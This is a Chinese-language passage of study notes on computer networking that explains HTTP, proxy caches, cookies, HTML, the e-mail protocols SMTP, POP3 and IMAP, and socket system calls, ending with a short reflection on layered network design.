从层次的角度看,HTTP 是面向事务的(transaction-oriented)应用层协议,它是万维网上能够可靠地交换文件(包括文本、声音、图像等各种多媒体文件)的重要基础。

用户点击鼠标后所发生的事件:

  1. 浏览器分析超链指向页面的 URL。
  2. 浏览器向 DNS 请求解析 www.tsinghua.edu.cn 的 IP 地址。
  3. 域名系统 DNS 解析出清华大学服务器的 IP 地址。
  4. 浏览器与服务器建立 TCP 连接
  5. 浏览器发出取文件命令:GET /chn/yxsz/index.htm。
  6. 服务器给出响应,把文件 index.htm 发给浏览器。
  7. TCP 连接释放。
  8. 浏览器显示“清华大学院系设置”文件 index.htm 中的所有文本。

HTTP 的主要特点 :

  • HTTP 是面向事务的客户服务器协议。
  • HTTP 1.0 协议是无状态的(stateless)。
  • HTTP 协议本身也是无连接的,虽然它使用了面向连接的 TCP 向上提供的服务。

代理服务器:

代理服务器(proxy server)又称为万维网高速缓存(Web cache),它代表浏览器发出 HTTP 请求。万维网高速缓存把最近的一些请求和响应暂存在本地磁盘中。当与暂时存放的请求相同的新请求到达时,万维网高速缓存就把暂存的响应发送出去,而不需要按 URL 的地址再去因特网访问该资源。

4. HTTP的报文结构

HTTP 有两类报文:

请求报文——从客户向服务器发送请求报文。

响应报文——从服务器到客户的回答。

由于 HTTP 是面向正文的(text-oriented),因此在报文中的每一个字段都是一些 ASCII 码串,因而每个字段的长度都是不确定的。

 

方法(操作)类型:

  • OPTION:请求一些选项的信息
  • GET:请求读取由 URL所标志的信息
  • HEAD:请求读取由 URL所标志的信息的首部
  • POST:给服务器添加信息(例如,注释)
  • PUT:在指明的 URL下存储一个文档
  • DELETE:删除指明的 URL所标志的资源
  • TRACE:用来进行环回测试的请求报文
  • CONNECT:用于代理服务器

5. Cookie简介

万维网站点使用 Cookie 来跟踪用户。Cookie 表示在 HTTP 服务器和客户之间传递的状态信息。使用 Cookie 的网站服务器为用户产生一个唯一的识别码。利用此识别码,网站就能够跟踪该用户在该网站的活动。

6. 超文本标记语言 HTML

超文本标记语言 HTML 中的 Markup 的意思就是“设置标记”。HTML 定义了许多用于排版的命令(即标签)。HTML 把各种标签嵌入到万维网的页面中。这样就构成了所谓的 HTML 文档。HTML 文档是一种可以用任何文本编辑器创建的 ASCII 码文件。

10、电子邮件协议

1. 电子邮件协议简介

电子邮件(e-mail)是因特网上使用得最多的和最受用户欢迎的一种应用。电子邮件把邮件发送到收件人使用的邮件服务器,并放在其中的收件人邮箱中,收件人可随时上网到自己使用的邮件服务器进行读取。

电子邮件不仅使用方便,而且还具有传递迅速和费用低廉的优点。

现在电子邮件不仅可传送文字信息,而且还可附上声音和图像。 

发送邮件的协议:SMTP

读取邮件的协议:POP3 和 IMAP

MIME 在其邮件首部中说明了邮件的数据类型(如文本、声音、图像、视像等),使用 MIME 可在邮件中同时传送多种类型的数据。

2. 邮件发送过程 

发送和接收电子邮件的几个重要步骤:

  • 发件人调用 PC 中的用户代理撰写和编辑要发送的邮件。
  • 发件人的用户代理把邮件用 SMTP 协议发给发送方邮件服务器,
  • SMTP 服务器把邮件临时存放在邮件缓存队列中,等待发送。
  • 发送方邮件服务器的 SMTP 客户与接收方邮件服务器的 SMTP   服务器建立 TCP 连接,然后就把邮件缓存队列中的邮件依次发送出去。
  • 运行在接收方邮件服务器中的SMTP服务器进 程收到邮件后,把邮件放入收件人的用户邮箱中,等待收件人进行读取。 
  • 收件人在打算收信时,就运行 PC 机中的用户代理,使用 POP3(或 IMAP)协议读取发送给自己的邮件。

请注意,POP3 服务器和 POP3 客户之间的通信是由 POP3 客户发起的。

3. 邮件组成

电子邮件由信封(envelope)和内容(content)两部分组成。

电子邮件的传输程序根据邮件信封上的信息来传送邮件,用户在从自己的邮箱中读取邮件时才能见到邮件的内容。

在邮件的信封上,最重要的就是收件人的地址。

TCP/IP 体系的电子邮件系统规定电子邮件地址的格式如下:

收件人邮箱名@邮箱所在主机的域名

SMTP 通信的三个阶段 :

  1. 连接建立:连接是在发送主机的 SMTP 客户和接收主机的 SMTP 服务器之间建立的。SMTP不使用中间的邮件服务器。   
  2. 邮件传送
  3. 连接释放:邮件发送完毕后,SMTP 应释放 TCP 连接。

4. 邮件读取协议POP3和IMAP

邮局协议 POP 是一个非常简单、但功能有限的邮件读取协议,现在使用的是它的第三个版本 POP3。POP 也使用客户服务器的工作方式。在接收邮件的用户 PC 机中必须运行 POP 客户程序,而在用户所连接的 ISP 的邮件服务器中则运行 POP 服务器程序。

IMAP 协议,IMAP 也是按客户服务器方式工作,现在较新的是版本 4,即 IMAP4。用户在自己的 PC 机上就可以操纵 ISP 的邮件服务器的邮箱,就像在本地操纵一样。因此 IMAP 是一个联机协议。当用户 PC 机上的 IMAP 客户程序打开 IMAP 服务器的邮箱时,用户就可看到邮件的首部。若用户需要打开某个邮件,则该邮件才传到用户的计算机上。

注意:

不要将邮件读取协议 POP 或 IMAP 与邮件传送协议 SMTP 弄混。发信人的用户代理向源邮件服务器发送邮件,以及源邮件服务器向目的邮件服务器发送邮件,都是使用 SMTP 协议。

而 POP 协议或 IMAP 协议则是用户从目的邮件服务器上读取邮件所使用的协议。

5. 基于万维网的电子邮件

电子邮件从 A 发送到网易邮件服务器是使用 HTTP 协议。

两个邮件服务器之间的传送使用 SMTP。

邮件从新浪邮件服务器传送到 B 是使用 HTTP 协议。

 

11、应用进程跨越网络的通信

大多数操作系统使用系统调用(system call)的机制在应用程序和操作系统之间传递控制权。对程序员来说,每一个系统调用和一般程序设计中的函数调用非常相似,只是系统调用是将控制权传递给了操作系统。

1. 用编程接口 API(Application Programming Interface)

当某个应用进程启动系统调用时,控制权就从应用进程传递给了系统调用接口。此接口再将控制权传递给计算机的操作系统。操作系统将此调用转给某个内部过程,并执行所请求的操作。内部过程一旦执行完毕,控制权就又通过系统调用接口返回给应用进程。系统调用接口实际上就是应用进程的控制权和操作系统的控制权进行转换的一个接口,即应用编程接口 API。

2. 几种应用编程接口 API 

Berkeley UNIX 操作系统定义了一种 API,它又称为套接字接口(socket interface)。

微软公司在其操作系统中采用了套接字接口 API,形成了一个稍有不同的 API,并称之为 Windows Socket。

AT&T 为其 UNIX 系统 V 定义了一种 API,简写为 TLI (Transport Layer Interface)。

应用进程通过套接字接入到网络:

 

套接字的作用:

当应用进程需要使用网络进行通信时就发出系统调用,请求操作系统为其创建“套接字”,以便把网络通信所需要的系统资源分配给该应用进程。操作系统为这些资源的总和用一个叫做套接字描述符的号码来表示,并把此号码返回给应用进程。应用进程所进行的网络操作都必须使用这个号码。通信完毕后,应用进程通过一个关闭套接字的系统调用通知操作系统回收与该“号码”相关的所有资源。

调用 socket 创建套接字:

 

3. 几种常用的系统调用

当套接字被创建后,它的端口号和 IP 地址都是空的,因此应用进程要调用 bind(绑定)来指明套接字的本地地址。在服务器端调用 bind 时就是把熟知端口号和本地IP地址填写到已创建的套接字中。这就叫做把本地地址绑定到套接字。

服务器在调用 bind 后,还必须调用 listen(收听)把套接字设置为被动方式,以便随时接受客户的服务请求。UDP服务器由于只提供无连接服务,不使用 listen 系统调用。

服务器紧接着就调用 accept(接受),以便把远地客户进程发来的连接请求提取出来。系统调用 accept 的一个变量就是要指明从哪一个套接字发起的连接。

几种常用的系统调用并发方式工作的服务器 :

 

系统调用使用顺序的例子: 

总结:

计算机网络(TCP/IP)有一套方法思想,根据我自己的理解就是一种自顶向下、逐层分解的思想,有点类似于设计模式中的松耦合的原则。

就是把整体分层,层数不能太多也不能太少,要考虑实现的难度。还有要屏蔽来自各个方面的差异,每一层的每一个协议都代表了一个功能点和一个组合模块。每一个模块都实现之后就可以从整体的角度去把握,根据需要组合各个模块,提供不同的功能。这样一来就能适应现在纷繁的变化。在特定情况下修改策略的代价就会变小。

这样说起来计算机网络的设计思想和软件工程的方法是相近,在我看来由各种协议和硬件资源整合起来的计算机网络的开发就是一个巨大的动态的软件工程。

Copyright © 2010-2022 dgrt.cn 版权所有 |关于我们| 联系方式